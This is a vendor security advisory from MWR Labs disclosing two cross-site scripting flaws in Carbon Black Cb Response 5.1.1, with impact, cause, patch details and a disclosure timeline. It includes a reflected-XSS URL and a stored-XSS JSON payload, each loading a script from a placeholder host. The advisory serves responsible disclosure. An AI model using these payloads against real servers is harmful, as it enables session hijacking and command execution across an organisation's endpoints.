MWR LABS

Security Advisory

Multiple XSS Vulnerabilities in Carbon Black Cb Response

Software	Cb Response
Affected Versions	5.1.1 confirmed vulnerable
Severity	High
Vendor	Carbon Black
Vendor Response	Patch available

Description:

Cb Response is an endpoint security platform developed by Carbon Black and features a centralized web interface to manage and analyze data that are provided by sensors on the actual endpoints.

This web interface also features role management for analysts, effectively allowing customers to separate privileges between read-only analysts and global administrators.

The latter are provided with incident-response capabilities such as live remote administration of managed endpoints which makes them a prime target for attackers looking to compromise the enterprise infrastructure.

MWR has identified two XSS vulnerabilities in the web interface that could allow for abuse of those capabilities by remote attackers if exploited.

Impact:

To exploit this issue, the attacker needs to trick an authenticated analyst into visiting a URL that serves a malicious, attacker-controlled web application.

If the victim is a global administrator, full infrastructure compromise can be gained at this point.

In the case of a low-privileged analyst the same vulnerability may be used to trigger a secondary XSS, effectively combining both bugs in a single exploit-chain that requires very little user interaction. If this technique succeeds, the result is again full compromise of all endpoints.

Cause:

Insufficient or absent output encoding of user-supplied strings when displayed by the Cb Response web application.

Interim Workaround:

Disable JavaScript for browsers used to access the web interface.

Solution:

In order to remediate the issue, a patch is available through regular update channels. It is understood that version 5.2.5 addresses this vulnerability. However, this has not been verified by MWR.

Cloud customers do not need to take any further action as the vendor has remediated the issue.

Technical details

Issue #1, reflected XSS in /api/v1/banning/blacklist

The GET parameter named "filter" allows analysts to specify a custom expression to filter blacklisted hashes for certain properties. This expression is parsed by a routine that displays an error message when the input is invalid. However, this error message is served with the default content-type "text/html" without escaping the faulty part of the input expression, leading to a classic reflected cross-site-scripting issue. To reproduce this issue on a vulnerable version, simply navigate to the following URL as an authenticated user:

```
https://carbon.black.server/api/v1/banning/blacklist?filter=x+%3D%3D+a<script+src=//link.to/poc.js></script>
```

Issue #2, stored XSS in User-Management panel

Whilst users cannot use the web interface to include non-alphanumeric characters in their names, this is validated client side only and a request to the underlying API endpoint (as shown below) can be used to circumvent this client side validation. This input can include arbitrary characters in user properties such as first name (as shown in the example below) or last name. When a global administrator visits the user management panel in the UI and hovers over the malformed username, the properties were found to not be escaped properly resulting in stored JavaScript executing in the context of the administrator's session.

```
{"id":"<your_username>","username":"<your_username>","first_name":"DELETE ME! DELETE ME! DELETE ME! DELETE ME!\u0022><script src=//link.to/poc.js></script alt=\u0022","last_name":"some_last_name","global_admin":false,"auth_token":"<your token>","email":"x@ema.il"}
```

Proof of Concept Exploit

MWR InfoSecurity developed a proof of concept exploit that retrieves all registered endpoints (called "sensors" in Carbon Black terminology) and executes an arbitrary command on each of them. An advanced, weaponized exploit would be able to determine the privilege level of the current user and either escalate privileges to global administrator or immediately compromise all registered endpoints, combining both bugs as needed.

Detailed Timeline

Date	Summary
2016-10-11	Issue reported to vendor
2016-10-12	Vendor verified issue
2016-10-14	Vendor announced plans to release a fix with patch version 5.2.1
2016-12-01	Fix released to cloud customers
2016-12-28	Vendor released patched version 5.2.5 to on premises customers
2017-01-11	Vendor informed MWR InfoSecurity that a patch is available